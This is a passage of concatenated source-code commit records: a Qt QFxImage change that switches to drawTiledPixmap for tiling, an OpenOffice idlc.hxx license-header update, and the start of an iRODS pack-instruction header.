see the fillMode property description.\n\n Examples:\n \\table\n \\row\n \\o \\image declarative-qtlogo1.png\n \\o Untransformed\n \\qml\n Image { source: \"pics\/qtlogo.png\" }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo2.png\n \\o fillMode: Stretch (default)\n \\qml\n Image {\n width: 160\n height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo3.png\n \\o fillMode: Tile\n \\qml\n Image {\n fillMode: \"Tile\"\n width: 160; height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo6.png\n \\o fillMode: TileVertically\n \\qml\n Image {\n fillMode: \"TileVertically\"\n width: 160; height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo5.png\n \\o fillMode: TileHorizontally\n \\qml\n Image {\n fillMode: \"TileHorizontally\"\n width: 160; height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\endtable\n *\/\n\n\/*!\n \\internal\n \\class QFxImage Image\n \\brief The QFxImage class provides an image item that you can add to a QFxView.\n\n \\ingroup group_coreitems\n\n Example:\n \\qml\n Image { source: \"pics\/star.png\" }\n \\endqml\n\n A QFxImage object can be instantiated in Qml using the tag \\l Image.\n*\/\n\nQFxImage::QFxImage(QFxItem *parent)\n : QFxImageBase(*(new QFxImagePrivate), parent)\n{\n setFlag(QGraphicsItem::ItemHasNoContents, false);\n}\n\nQFxImage::QFxImage(QFxImagePrivate &dd, QFxItem *parent)\n : QFxImageBase(dd, parent)\n{\n setFlag(QGraphicsItem::ItemHasNoContents, false);\n}\n\nQFxImage::~QFxImage()\n{\n}\n\nQPixmap QFxImage::pixmap() const\n{\n Q_D(const QFxImage);\n return d->pix;\n}\n\nvoid QFxImage::setPixmap(const QPixmap &pix)\n{\n Q_D(QFxImage);\n if (!d->url.isEmpty())\n return;\n d->pix = pix;\n\n setImplicitWidth(d->pix.width());\n setImplicitHeight(d->pix.height());\n\n update();\n}\n\n\/*!\n \\qmlproperty FillMode Image::fillMode\n\n Set this property to define what happens when the image set for the item is smaller\n than the size of the item.\n\n \\list\n \\o Stretch - the image is scaled to fit\n \\o PreserveAspectFit - the image is scaled uniformly to fit without cropping\n \\o PreserveAspectCrop - the image is scaled uniformly to fill, cropping if necessary\n \\o Tile - the image is duplicated horizontally and vertically\n \\o TileVertically - the image is stretched horizontally and tiled vertically\n \\o TileHorizontally - the image is stretched vertically and tiled horizontally\n \\endlist\n\n \\image declarative-image_fillMode.gif\n \\sa examples\/declarative\/fillmode\n \\sa examples\/declarative\/aspectratio\n*\/\nQFxImage::FillMode QFxImage::fillMode() const\n{\n Q_D(const QFxImage);\n return d->fillMode;\n}\n\nvoid QFxImage::setFillMode(FillMode mode)\n{\n Q_D(QFxImage);\n if (d->fillMode == mode)\n return;\n d->fillMode = mode;\n update();\n emit fillModeChanged();\n}\n\n\/*!\n \\qmlproperty enum Image::status\n\n This property holds the status of image loading. It can be one of:\n \\list\n \\o Null - no image has been set\n \\o Ready - the image has been loaded\n \\o Loading - the image is currently being loaded\n \\o Error - an error occurred while loading the image\n \\endlist\n\n \\sa progress\n*\/\n\n\/*!\n \\qmlproperty real Image::progress\n\n This property holds the progress of image loading, from 0.0 (nothing loaded)\n to 1.0 (finished).\n\n \\sa status\n*\/\n\n\/*!\n \\qmlproperty bool Image::smooth\n\n Set this property if you want the image to be smoothly filtered when scaled or\n transformed. Smooth filtering gives better visual quality, but is slower. If\n the image is displayed at its natural size, this property has no visual or\n performance effect.\n\n \\note Generally scaling artifacts are only visible if the image is stationary on\n the screen. A common pattern when animating an image is to disable smooth\n filtering at the beginning of the animation and reenable it at the conclusion.\n*\/\n\n\/*!\n \\qmlproperty url Image::source\n\n Image can handle any image format supported by Qt, loaded from any URL scheme supported by Qt.\n\n The URL may be absolute, or relative to the URL of the component.\n*\/\n\nvoid QFxImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)\n{\n Q_D(QFxImage);\n if (d->pix.isNull())\n return;\n\n bool oldAA = p->testRenderHint(QPainter::Antialiasing);\n bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);\n if (d->smooth)\n p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);\n\n if (width() != d->pix.width() || height() != d->pix.height()) {\n if (d->fillMode >= Tile) {\n p->save();\n p->setClipRect(0, 0, width(), height(), Qt::IntersectClip);\n\n if (d->fillMode == Tile) {\n const int pw = d->pix.width();\n const int ph = d->pix.height();\n int yy = 0;\n\n while(yy < height()) {\n int xx = 0;\n while(xx < width()) {\n p->drawPixmap(xx, yy, d->pix);\n xx += pw;\n }\n yy += ph;\n }\n } else if (d->fillMode == TileVertically) {\n const int ph = d->pix.height();\n int yy = 0;\n\n while(yy < height()) {\n p->drawPixmap(QRect(0, yy, width(), ph), d->pix);\n yy += ph;\n }\n } else {\n const int pw = d->pix.width();\n int xx = 0;\n\n while(xx < width()) {\n p->drawPixmap(QRect(xx, 0, pw, height()), d->pix);\n xx += pw;\n }\n }\n\n p->restore();\n } else {\n qreal widthScale = width() \/ qreal(d->pix.width());\n qreal heightScale = height() \/ qreal(d->pix.height());\n\n QTransform scale;\n\n if (d->fillMode == PreserveAspectFit) {\n if (widthScale < heightScale) {\n heightScale = widthScale;\n scale.translate(0, (height() - heightScale * d->pix.height()) \/ 2);\n } else if(heightScale < widthScale) {\n widthScale = heightScale;\n scale.translate((width() - widthScale * d->pix.width()) \/ 2, 0);\n }\n } else if (d->fillMode == PreserveAspectCrop) {\n if (widthScale < heightScale) {\n widthScale = heightScale;\n scale.translate((width() - widthScale * d->pix.width()) \/ 2, 0);\n } else if(heightScale < widthScale) {\n heightScale = widthScale;\n scale.translate(0, (height() - heightScale * d->pix.height()) \/ 2);\n }\n }\n\n scale.scale(widthScale, heightScale);\n QTransform old = p->transform();\n p->setWorldTransform(scale * old);\n p->drawPixmap(0, 0, d->pix);\n p->setWorldTransform(old);\n }\n } else {\n p->drawPixmap(0, 0, d->pix);\n }\n\n if (d->smooth) {\n p->setRenderHint(QPainter::Antialiasing, oldAA);\n p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);\n }\n}\n\nQT_END_NAMESPACE\n<commit_msg>Use drawTiledPixmap for tiling.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Qt Software Information (qt-info@nokia.com)\n**\n** This file is part of the QtDeclarative module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the either Technology Preview License Agreement or the\n** Beta Release License Agreement.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights. These rights are described in the Nokia Qt LGPL\n** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at qt-sales@nokia.com.\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qfximage.h\"\n#include \"qfximage_p.h\"\n\n#include <QKeyEvent>\n#include <QPainter>\n\nQT_BEGIN_NAMESPACE\n\n\nQML_DEFINE_TYPE(Qt,4,6,(QT_VERSION&0x00ff00)>>8,Image,QFxImage)\n\n\/*!\n \\qmlclass Image QFxImage\n \\brief The Image element allows you to add bitmaps to a scene.\n \\inherits Item\n\n The Image element supports untransformed, stretched and tiled.\n\n For an explanation of stretching and tiling, see the fillMode property description.\n\n Examples:\n \\table\n \\row\n \\o \\image declarative-qtlogo1.png\n \\o Untransformed\n \\qml\n Image { source: \"pics\/qtlogo.png\" }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo2.png\n \\o fillMode: Stretch (default)\n \\qml\n Image {\n width: 160\n height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo3.png\n \\o fillMode: Tile\n \\qml\n Image {\n fillMode: \"Tile\"\n width: 160; height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo6.png\n \\o fillMode: TileVertically\n \\qml\n Image {\n fillMode: \"TileVertically\"\n width: 160; height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\row\n \\o \\image declarative-qtlogo5.png\n \\o fillMode: TileHorizontally\n \\qml\n Image {\n fillMode: \"TileHorizontally\"\n width: 160; height: 160\n source: \"pics\/qtlogo.png\"\n }\n \\endqml\n \\endtable\n *\/\n\n\/*!\n \\internal\n \\class QFxImage Image\n \\brief The QFxImage class provides an image item that you can add to a QFxView.\n\n \\ingroup group_coreitems\n\n Example:\n \\qml\n Image { source: \"pics\/star.png\" }\n \\endqml\n\n A QFxImage object can be instantiated in Qml using the tag \\l Image.\n*\/\n\nQFxImage::QFxImage(QFxItem *parent)\n : QFxImageBase(*(new QFxImagePrivate), parent)\n{\n setFlag(QGraphicsItem::ItemHasNoContents, false);\n}\n\nQFxImage::QFxImage(QFxImagePrivate &dd, QFxItem *parent)\n : QFxImageBase(dd, parent)\n{\n setFlag(QGraphicsItem::ItemHasNoContents, false);\n}\n\nQFxImage::~QFxImage()\n{\n}\n\nQPixmap QFxImage::pixmap() const\n{\n Q_D(const QFxImage);\n return d->pix;\n}\n\nvoid QFxImage::setPixmap(const QPixmap &pix)\n{\n Q_D(QFxImage);\n if (!d->url.isEmpty())\n return;\n d->pix = pix;\n\n setImplicitWidth(d->pix.width());\n setImplicitHeight(d->pix.height());\n\n update();\n}\n\n\/*!\n \\qmlproperty FillMode Image::fillMode\n\n Set this property to define what happens when the image set for the item is smaller\n than the size of the item.\n\n \\list\n \\o Stretch - the image is scaled to fit\n \\o PreserveAspectFit - the image is scaled uniformly to fit without cropping\n \\o PreserveAspectCrop - the image is scaled uniformly to fill, cropping if necessary\n \\o Tile - the image is duplicated horizontally and vertically\n \\o TileVertically - the image is stretched horizontally and tiled vertically\n \\o TileHorizontally - the image is stretched vertically and tiled horizontally\n \\endlist\n\n \\image declarative-image_fillMode.gif\n \\sa examples\/declarative\/fillmode\n \\sa examples\/declarative\/aspectratio\n*\/\nQFxImage::FillMode QFxImage::fillMode() const\n{\n Q_D(const QFxImage);\n return d->fillMode;\n}\n\nvoid QFxImage::setFillMode(FillMode mode)\n{\n Q_D(QFxImage);\n if (d->fillMode == mode)\n return;\n d->fillMode = mode;\n update();\n emit fillModeChanged();\n}\n\n\/*!\n \\qmlproperty enum Image::status\n\n This property holds the status of image loading. It can be one of:\n \\list\n \\o Null - no image has been set\n \\o Ready - the image has been loaded\n \\o Loading - the image is currently being loaded\n \\o Error - an error occurred while loading the image\n \\endlist\n\n \\sa progress\n*\/\n\n\/*!\n \\qmlproperty real Image::progress\n\n This property holds the progress of image loading, from 0.0 (nothing loaded)\n to 1.0 (finished).\n\n \\sa status\n*\/\n\n\/*!\n \\qmlproperty bool Image::smooth\n\n Set this property if you want the image to be smoothly filtered when scaled or\n transformed. Smooth filtering gives better visual quality, but is slower. If\n the image is displayed at its natural size, this property has no visual or\n performance effect.\n\n \\note Generally scaling artifacts are only visible if the image is stationary on\n the screen. A common pattern when animating an image is to disable smooth\n filtering at the beginning of the animation and reenable it at the conclusion.\n*\/\n\n\/*!\n \\qmlproperty url Image::source\n\n Image can handle any image format supported by Qt, loaded from any URL scheme supported by Qt.\n\n The URL may be absolute, or relative to the URL of the component.\n*\/\n\nvoid QFxImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)\n{\n Q_D(QFxImage);\n if (d->pix.isNull())\n return;\n\n bool oldAA = p->testRenderHint(QPainter::Antialiasing);\n bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);\n if (d->smooth)\n p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);\n\n if (width() != d->pix.width() || height() != d->pix.height()) {\n if (d->fillMode >= Tile) {\n p->save();\n p->setClipRect(0, 0, width(), height(), Qt::IntersectClip);\n\n if (d->fillMode == Tile)\n p->drawTiledPixmap(QRectF(0,0,width(),height()), d->pix);\n else if (d->fillMode == TileVertically)\n p->drawTiledPixmap(QRectF(0,0,d->pix.width(),height()), d->pix);\n else\n p->drawTiledPixmap(QRectF(0,0,width(),d->pix.height()), d->pix);\n\n p->restore();\n } else {\n qreal widthScale = width() \/ qreal(d->pix.width());\n qreal heightScale = height() \/ qreal(d->pix.height());\n\n QTransform scale;\n\n if (d->fillMode == PreserveAspectFit) {\n if (widthScale < heightScale) {\n heightScale = widthScale;\n scale.translate(0, (height() - heightScale * d->pix.height()) \/ 2);\n } else if(heightScale < widthScale) {\n widthScale = heightScale;\n scale.translate((width() - widthScale * d->pix.width()) \/ 2, 0);\n }\n } else if (d->fillMode == PreserveAspectCrop) {\n if (widthScale < heightScale) {\n widthScale = heightScale;\n scale.translate((width() - widthScale * d->pix.width()) \/ 2, 0);\n } else if(heightScale < widthScale) {\n heightScale = widthScale;\n scale.translate(0, (height() - heightScale * d->pix.height()) \/ 2);\n }\n }\n\n scale.scale(widthScale, heightScale);\n QTransform old = p->transform();\n p->setWorldTransform(scale * old);\n p->drawPixmap(0, 0, d->pix);\n p->setWorldTransform(old);\n }\n } else {\n p->drawPixmap(0, 0, d->pix);\n }\n\n if (d->smooth) {\n p->setRenderHint(QPainter::Antialiasing, oldAA);\n p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);\n }\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: idlc.hxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: hr $ $Date: 2006-04-19 13:45:23 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _IDLC_IDLC_HXX_\n#define _IDLC_IDLC_HXX_\n\n#ifndef _IDLC_IDLCTYPES_HXX_\n#include <idlc\/idlctypes.hxx>\n#endif\n#ifndef _IDLC_ASTSTACK_HXX_\n#include <idlc\/aststack.hxx>\n#endif\n#ifndef _IDLC_OPTIONS_HXX_\n#include <idlc\/options.hxx>\n#endif\n\n#ifdef SAL_UNX\n#define SEPARATOR '\/'\n#define PATH_SEPARATOR \"\/\"\n#else\n#define SEPARATOR '\\\\'\n#define PATH_SEPARATOR \"\\\\\"\n#endif\n\nclass AstInterface;\nclass AstModule;\nclass AstType;\nclass Options;\nclass ErrorHandler;\n\nclass Idlc\n{\npublic:\n Idlc(Options* pOptions);\n virtual ~Idlc();\n\n void init();\n\n Options* getOptions()\n { return m_pOptions; }\n AstStack* scopes()\n { return m_pScopes; }\n AstModule* getRoot()\n { return m_pRoot; }\n ErrorHandler* error()\n { return m_pErrorHandler; }\n const ::rtl::OString& getFileName()\n { return m_fileName; }\n void setFileName(const ::rtl::OString& fileName)\n { m_fileName = fileName; }\n const ::rtl::OString& getMainFileName()\n { return m_mainFileName; }\n void setMainFileName(const ::rtl::OString& mainFileName)\n { m_mainFileName = mainFileName; }\n const ::rtl::OString& getRealFileName()\n { return m_realFileName; }\n void setRealFileName(const ::rtl::OString& realFileName)\n { m_realFileName = realFileName; }\n const ::rtl::OString& getDocumentation()\n {\n m_bIsDocValid = sal_False;\n return m_documentation;\n }\n void setDocumentation(const ::rtl::OString& documentation)\n {\n m_documentation = documentation;\n m_bIsDocValid = sal_True;\n }\n sal_Bool isDocValid();\n sal_Bool isInMainFile()\n { return m_bIsInMainfile; }\n void setInMainfile(sal_Bool bInMainfile)\n { m_bIsInMainfile = bInMainfile; }\n sal_uInt32 getErrorCount()\n { return m_errorCount; }\n void setErrorCount(sal_uInt32 errorCount)\n { m_errorCount = errorCount; }\n void incErrorCount()\n { m_errorCount++; }\n sal_uInt32 getWarningCount()\n { return m_warningCount; }\n void setWarningCount(sal_uInt32 warningCount)\n { m_warningCount = warningCount; }\n void incWarningCount()\n { m_warningCount++; }\n sal_uInt32 getLineNumber()\n { return m_lineNumber; }\n void setLineNumber(sal_uInt32 lineNumber)\n { m_lineNumber = lineNumber; }\n void incLineNumber()\n { m_lineNumber++; }\n ParseState getParseState()\n { return m_parseState; }\n void setParseState(ParseState parseState)\n { m_parseState = parseState; }\n\n void insertInclude(const ::rtl::OString& inc)\n { m_includes.insert(inc); }\n StringSet* getIncludes()\n { return &m_includes; }\n\n void setPublished(bool published) { m_published = published; }\n bool isPublished() const { return m_published; }\n\n void reset();\nprivate:\n Options* m_pOptions;\n AstStack* m_pScopes;\n AstModule* m_pRoot;\n ErrorHandler* m_pErrorHandler;\n ::rtl::OString m_fileName;\n ::rtl::OString m_mainFileName;\n ::rtl::OString m_realFileName;\n ::rtl::OString m_documentation;\n sal_Bool m_bIsDocValid;\n sal_Bool m_bGenerateDoc;\n sal_Bool m_bIsInMainfile;\n bool m_published;\n sal_uInt32 m_errorCount;\n sal_uInt32 m_warningCount;\n sal_uInt32 m_lineNumber;\n ParseState m_parseState;\n StringSet m_includes;\n};\n\nsal_Int32 compileFile(const ::rtl::OString * pathname);\n \/\/ a null pathname means stdin\nsal_Int32 produceFile(const ::rtl::OString& filenameBase);\n \/\/ filenameBase is filename without \".idl\"\nvoid removeIfExists(const ::rtl::OString& pathname);\n\n::rtl::OString makeTempName(const ::rtl::OString& prefix, const ::rtl::OString& postfix);\nsal_Bool copyFile(const ::rtl::OString* source, const ::rtl::OString& target);\n \/\/ a null source means stdin\n\nsal_Bool isFileUrl(const ::rtl::OString& fileName);\n::rtl::OString convertToAbsoluteSystemPath(const ::rtl::OString& fileName);\n::rtl::OString convertToFileUrl(const ::rtl::OString& fileName);\n\nIdlc* SAL_CALL idlc();\nIdlc* SAL_CALL setIdlc(Options* pOptions);\n\nAstDeclaration const * resolveTypedefs(AstDeclaration const * type);\n\nAstDeclaration const * deconstructAndResolveTypedefs(\n AstDeclaration const * type, sal_Int32 * rank);\n\nAstInterface const * resolveInterfaceTypedefs(AstType const * type);\n\n#endif \/\/ _IDLC_IDLC_HXX_\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.7.70); FILE MERGED 2008\/04\/01 12:31:27 thb 1.7.70.2: #i85898# Stripping all external header guards 2008\/03\/31 07:23:49 rt 1.7.70.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: idlc.hxx,v $\n * $Revision: 1.8 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef _IDLC_IDLC_HXX_\n#define _IDLC_IDLC_HXX_\n\n#include <idlc\/idlctypes.hxx>\n#include <idlc\/aststack.hxx>\n#include <idlc\/options.hxx>\n\n#ifdef SAL_UNX\n#define SEPARATOR '\/'\n#define PATH_SEPARATOR \"\/\"\n#else\n#define SEPARATOR '\\\\'\n#define PATH_SEPARATOR \"\\\\\"\n#endif\n\nclass AstInterface;\nclass AstModule;\nclass AstType;\nclass Options;\nclass ErrorHandler;\n\nclass Idlc\n{\npublic:\n Idlc(Options* pOptions);\n virtual ~Idlc();\n\n void init();\n\n Options* getOptions()\n { return m_pOptions; }\n AstStack* scopes()\n { return m_pScopes; }\n AstModule* getRoot()\n { return m_pRoot; }\n ErrorHandler* error()\n { return m_pErrorHandler; }\n const ::rtl::OString& getFileName()\n { return m_fileName; }\n void setFileName(const ::rtl::OString& fileName)\n { m_fileName = fileName; }\n const ::rtl::OString& getMainFileName()\n { return m_mainFileName; }\n void setMainFileName(const ::rtl::OString& mainFileName)\n { m_mainFileName = mainFileName; }\n const ::rtl::OString& getRealFileName()\n { return m_realFileName; }\n void setRealFileName(const ::rtl::OString& realFileName)\n { m_realFileName = realFileName; }\n const ::rtl::OString& getDocumentation()\n {\n m_bIsDocValid = sal_False;\n return m_documentation;\n }\n void setDocumentation(const ::rtl::OString& documentation)\n {\n m_documentation = documentation;\n m_bIsDocValid = sal_True;\n }\n sal_Bool isDocValid();\n sal_Bool isInMainFile()\n { return m_bIsInMainfile; }\n void setInMainfile(sal_Bool bInMainfile)\n { m_bIsInMainfile = bInMainfile; }\n sal_uInt32 getErrorCount()\n { return m_errorCount; }\n void setErrorCount(sal_uInt32 errorCount)\n { m_errorCount = errorCount; }\n void incErrorCount()\n { m_errorCount++; }\n sal_uInt32 getWarningCount()\n { return m_warningCount; }\n void setWarningCount(sal_uInt32 warningCount)\n { m_warningCount = warningCount; }\n void incWarningCount()\n { m_warningCount++; }\n sal_uInt32 getLineNumber()\n { return m_lineNumber; }\n void setLineNumber(sal_uInt32 lineNumber)\n { m_lineNumber = lineNumber; }\n void incLineNumber()\n { m_lineNumber++; }\n ParseState getParseState()\n { return m_parseState; }\n void setParseState(ParseState parseState)\n { m_parseState = parseState; }\n\n void insertInclude(const ::rtl::OString& inc)\n { m_includes.insert(inc); }\n StringSet* getIncludes()\n { return &m_includes; }\n\n void setPublished(bool published) { m_published = published; }\n bool isPublished() const { return m_published; }\n\n void reset();\nprivate:\n Options* m_pOptions;\n AstStack* m_pScopes;\n AstModule* m_pRoot;\n ErrorHandler* m_pErrorHandler;\n ::rtl::OString m_fileName;\n ::rtl::OString m_mainFileName;\n ::rtl::OString m_realFileName;\n ::rtl::OString m_documentation;\n sal_Bool m_bIsDocValid;\n sal_Bool m_bGenerateDoc;\n sal_Bool m_bIsInMainfile;\n bool m_published;\n sal_uInt32 m_errorCount;\n sal_uInt32 m_warningCount;\n sal_uInt32 m_lineNumber;\n ParseState m_parseState;\n StringSet m_includes;\n};\n\nsal_Int32 compileFile(const ::rtl::OString * pathname);\n \/\/ a null pathname means stdin\nsal_Int32 produceFile(const ::rtl::OString& filenameBase);\n \/\/ filenameBase is filename without \".idl\"\nvoid removeIfExists(const ::rtl::OString& pathname);\n\n::rtl::OString makeTempName(const ::rtl::OString& prefix, const ::rtl::OString& postfix);\nsal_Bool copyFile(const ::rtl::OString* source, const ::rtl::OString& target);\n \/\/ a null source means stdin\n\nsal_Bool isFileUrl(const ::rtl::OString& fileName);\n::rtl::OString convertToAbsoluteSystemPath(const ::rtl::OString& fileName);\n::rtl::OString convertToFileUrl(const ::rtl::OString& fileName);\n\nIdlc* SAL_CALL idlc();\nIdlc* SAL_CALL setIdlc(Options* pOptions);\n\nAstDeclaration const * resolveTypedefs(AstDeclaration const * type);\n\nAstDeclaration const * deconstructAndResolveTypedefs(\n AstDeclaration const * type, sal_Int32 * rank);\n\nAstInterface const * resolveInterfaceTypedefs(AstType const * type);\n\n#endif \/\/ _IDLC_IDLC_HXX_\n\n<|endoftext|>"} {"text":"<commit_before>\/*** Copyright (c), The Regents of the University of California ***\n *** For more information please refer to files in the COPYRIGHT directory ***\/\n\n\/* packInstruct.h - header file for pack instruction definition\n *\/\n\n\n\n#ifndef PACK_INSTRUCT_HPP\n#define PACK_INSTRUCT_HPP\n\n#define IRODS_STR_PI \"str myStr[MAX_NAME_LEN];\"\n#define STR_PI \"str myStr;\"\n#define CHAR_PI \"char myChar;\"\n#define STR_PTR_PI \"str *myStr;\"\n#define PI_STR_PI \"piStr myStr[MAX_NAME_LEN];\"\n#define INT_PI \"int myInt;\"\n#define INT16_PI \"int16 myInt;\"\n#define BUF_LEN_PI \"int myInt;\"\n#define DOUBLE_PI \"double myDouble;\"\n\n\/* packInstruct for msgHeader_t *\/\n#define MsgHeader_PI \"str type[HEADER_TYPE_LEN]; int msgLen; int errorLen; int bsLen; int intInfo;\"\n\n\/* packInstruct for startupPack_t *\/\n#define StartupPack_PI \"int irodsProt; int reconnFlag; int connectCnt; str proxyUser[NAME_LEN]; str proxyRcatZone[NAME_LEN]; str clientUser[NAME_LEN]; str clientRcatZone[NAME_LEN]; str relVersion[NAME_LEN]; str apiVersion[NAME_LEN]; str option[NAME_LEN];\"\n\n\/* packInstruct for version_t *\/\n\n#define Version_PI \"int status; str relVersion[NAME_LEN]; str apiVersion[NAME_LEN]; int reconnPort; str reconnAddr[LONG_NAME_LEN]; int cookie;\"\n\n\/* packInstruct for rErrMsg_t *\/\n\n#define RErrMsg_PI \"int status; str msg[ERR_MSG_LEN];\"\n\n\/* packInstruct for rError_t *\/\n\n#define RError_PI \"int count; struct *RErrMsg_PI[count];\"\n\n#define RHostAddr_PI \"str hostAddr[LONG_NAME_LEN]; str rodsZone[NAME_LEN]; int port; int dummyInt;\"\n\n#define RODS_STAT_T_PI \"double st_size; int st_dev; int st_ino; int st_mode; int st_nlink; int st_uid; int st_gid; int st_rdev; int st_atim; int st_mtim; int st_ctim; int st_blksize; int st_blocks;\"\n\n#define RODS_DIRENT_T_PI \"int d_offset; int d_ino; int d_reclen; int d_namlen; str d_name[DIR_LEN];\"\n\n#define KeyValPair_PI \"int ssLen; str *keyWord[ssLen]; str *svalue[ssLen];\"\n\n\/\/ =-=-=-=-=-=-=-\n\/\/ pack struct for client server negotiations\n#define CS_NEG_PI \"int status; str result[MAX_NAME_LEN];\"\n\n#define InxIvalPair_PI \"int iiLen; int *inx(iiLen); int *ivalue(iiLen);\"\n\n#define InxValPair_PI \"int isLen; int *inx(isLen); str *svalue[isLen];\"\n\n#define DataObjInp_PI \"str objPath[MAX_NAME_LEN]; int createMode; int openFlags; double offset; double dataSize; int numThreads; int oprType; struct *SpecColl_PI; struct KeyValPair_PI;\"\n\n#define OpenedDataObjInp_PI \"int l1descInx; int len; int whence; int oprType; double offset; double bytesWritten; struct KeyValPair_PI;\"\n\n#define PortList_PI \"int portNum; int cookie; int sock; int windowSize; str hostAddr[LONG_NAME_LEN];\"\n\n#define PortalOprOut_PI \"int status; int l1descInx; int numThreads; str chksum[NAME_LEN]; struct PortList_PI;\"\n\n#define DataOprInp_PI \"int oprType; int numThreads; int srcL3descInx; int destL3descInx; int srcRescTypeInx; int destRescTypeInx; double offset; double dataSize; struct KeyValPair_PI;\"\n\n#define CollInpNew_PI \"str collName[MAX_NAME_LEN]; int flags; int oprType; struct KeyValPair_PI;\"\n\n#define GenQueryInp_PI \"int maxRows; int continueInx; int partialStartIndex; int options; struct KeyValPair_PI; struct InxIvalPair_PI; struct InxValPair_PI;\"\n#define SqlResult_PI \"int attriInx; int reslen; str *value(rowCnt)(reslen);\"\n\n#define GenQueryOut_PI \"int rowCnt; int attriCnt; int continueInx; int totalRowCount; struct SqlResult_PI[MAX_SQL_ATTR];\"\n#define GenArraysInp_PI \"int rowCnt; int attriCnt; int continueInx; int totalRowCount; struct KeyValPair_PI; struct SqlResult_PI[MAX_SQL_ATTR];\"\n#define DataObjInfo_PI \"str objPath[MAX_NAME_LEN]; str rescName[NAME_LEN]; str rescHier[MAX_NAME_LEN]; str dataType[NAME_LEN]; double dataSize; str chksum[NAME_LEN]; str version[NAME_LEN]; str filePath[MAX_NAME_LEN]; str dataOwnerName[NAME_LEN]; str dataOwnerZone[NAME_LEN]; int replNum; int replStatus; str statusString[NAME_LEN]; double dataId; double collId; int dataMapId; int flags; str dataComments[LONG_NAME_LEN]; str dataMode[SHORT_STR_LEN]; str dataExpiry[TIME_LEN]; str dataCreate[TIME_LEN]; str dataModify[TIME_LEN]; str dataAccess[NAME_LEN]; int dataAccessInx; int writeFlag; str destRescName[NAME_LEN]; str backupRescName[NAME_LEN]; str subPath[MAX_NAME_LEN]; int *specColl; int regUid; int otherFlags; struct KeyValPair_PI; str in_pdmo[MAX_NAME_LEN]; int *next;\"\n\n\/* transStat_t is being replaced by transferStat_t because of the 64 bits\n * padding *\/\n#define TransStat_PI \"int numThreads; double 